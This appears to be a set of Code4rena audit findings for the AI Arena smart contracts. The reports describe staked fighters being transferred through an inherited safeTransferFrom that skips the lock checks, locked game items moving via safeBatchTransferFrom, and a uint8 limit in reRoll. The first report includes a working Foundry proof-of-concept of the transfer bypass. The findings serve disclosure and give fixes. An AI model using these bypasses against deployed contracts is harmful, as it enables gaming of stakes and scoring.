AI Arena - Fulum's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L486

Vulnerability details

Title

A Fighter (ERC721 token) can be transferred to another user even if the token is staked, user can prevents the score update in case of lose

Impact

A user can transfer their fighters (tokens) and bypass the _ableToTransfer() verification on transfer, user can have more than 10 fighters on a single address and transfer fighters when they're on staked position, it can cause multiples problems, like user can use multiples accounts to have "infinite" voltage power and make a lot of matchs for free, broke computation of accumulated points per address, etc

Proof of Concept

The FighterFarm contract manages the creation, ownership, and redemption of AI Arena Fighter NFTs. And like it's implemented on the transfers method of the contracts, business logic would like to prevent address to own more than 10 NFTs and prevent to transfer them to another address when NRN$ for the tokenId are staked on the RankedBattle contract.

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&          
          !fighterStaked[tokenId]                           
        );
    }

One method of ERC721 is not overrided on the FighterFarm contract and user can use this safeTransferFrom() method to transfer NFT's without making the _ableToTransfer() checks for business logic:

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

It's a security issue because user can transfer the fighters to another address and prevent the updates of scores after a lose in a fight because of underflow of accumulatedPointsPerAddress[fighterOwner][roundId] in the updateBattleRecord(). In the DoS scenario, user lose a fight, the server of AiArena call the updateBattleRecord() to update the score/points, and because the accumulatedPointsPerAddress by fighterOwner is equal to 0 on the new address, it underflow and the update of the tokenId is impossible.

    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        ...
        } else if (battleResult == 2) {
            /// If the user lost the match

            /// Do not allow users to lose more NRNs than they have in their staking pool
            if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            }
            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
        ...

    }

On other scenario, user can transfer his staked NFT fighter to another address, use all the voltage available in the account for the 24 hours, send to another account, etc. User can made an "infinite" amount of fights without buying voltage.

PoC Test

Create a new test file in the repo and execute the following command: ``

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import {StakeAtRisk} from "../src/StakeAtRisk.sol";
// import {Utilities} from "./utils/Utilities.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/// @notice Unit test for FighterFarm Contract.
contract FighterFarmTest is Test {
    // Utilities internal _utils;
    // address payable[] internal _users;

    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;
    StakeAtRisk internal _stakeAtRiskContract;


    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    /*//////////////////////////////////////////////////////////////
                                SETUP
    //////////////////////////////////////////////////////////////*/

    function setUp() public {
        // _utils = new Utilities();
        // _users = _utils.createUsers(5);
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, _DELEGATED_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));

        _stakeAtRiskContract = new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract));

        vm.startPrank(_ownerAddress);
        _neuronContract.addStaker(address(_rankedBattleContract));
        _fighterFarmContract.addStaker(address(_rankedBattleContract));
        _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract));

        vm.stopPrank();
        
    }


    function testUnauthorizedSafeTransferFrom() public {
        address Alice = vm.addr(555);
        vm.label(Alice, "Alice Address");
        address AliceAddr2 = vm.addr(777);
        vm.label(AliceAddr2, "AliceAddr2 Address");

        // Give 4k of NRN$ to Alice
        _fundUserWith4kNeuronByTreasury(Alice);
        uint256 balanceAlice = _neuronContract.balanceOf(Alice);

        // Mint 10 fighters for Alice
        uint256 tokenId = 1;
        for (uint256 index = 0; index < 10; index++) {
            _mintFromMergingPool(Alice);    
        }

        address ownerOf = _fighterFarmContract.ownerOf(tokenId);
        console.log("Owner of tokenId: %s", ownerOf);

        vm.startPrank(Alice);

        _rankedBattleContract.stakeNRN((balanceAlice / 4), tokenId);
        _fighterFarmContract.safeTransferFrom(Alice, AliceAddr2, tokenId, 'Hey');

        vm.stopPrank();

        bool isStaked = _fighterFarmContract.fighterStaked(tokenId);
        console.log("tokenId is staked ? : %s", isStaked);
        ownerOf = _fighterFarmContract.ownerOf(tokenId);
        console.log("Owner of tokenId: %s", ownerOf);

    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Override the safeTransferFrom() with 4 arguments in adding the business logic checks _ableToTransfer().

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

Impact

Even if a game item is locked, anyone can transfer it because the safeBatchTransferFrom() is not overwritted to add the necessary check.

Proof of Concept

The GameItems contract represents a collection of game items used in AI Arena. It inherits from the ERC1155 and permits some operations of minting/transfers/burning. We can see the AIArena team overwrite the safeTransferFrom() method to prevent transfers of items when they have the locked status with the allGameItemAttributes[tokenId].transferable set to false.

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

The issue is a locked item can be transfereable with safeBatchTransferFrom() even if allGameItemAttributes[tokenId].transferable is false because there is no override to add the check on the method:

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Overwritte the safeBatchTransferFrom() method to add this check:

    require(allGameItemAttributes[tokenId].transferable);

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

Title

The reRoll function on FighterFarm cannot be used for most tokens

Impact

The reRoll function on FighterFarm cannot be used for most tokens, it prevent tokenId with value more than 255 to re roll their attributes.

Proof of Concept

On FighterFarm, the reRoll function permit to rolls a new fighter with random traits. Take a closer look at:

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        ...
    }

We can see tokenId parameter is a uint8, the max value of uint8 is 255, and we can see on all the others functions which input tokenId that it's an uint256. Therefore in the reRoll function, it's impossible to re roll the attributes of the fighter(token) if the tokenId of the token is more than 255 (most of the tokens of FighterFarm).

Tools Used

Manual Review

Recommended Mitigation Steps

Change the tokenId parameters to an uint256.

Assessed type

DoS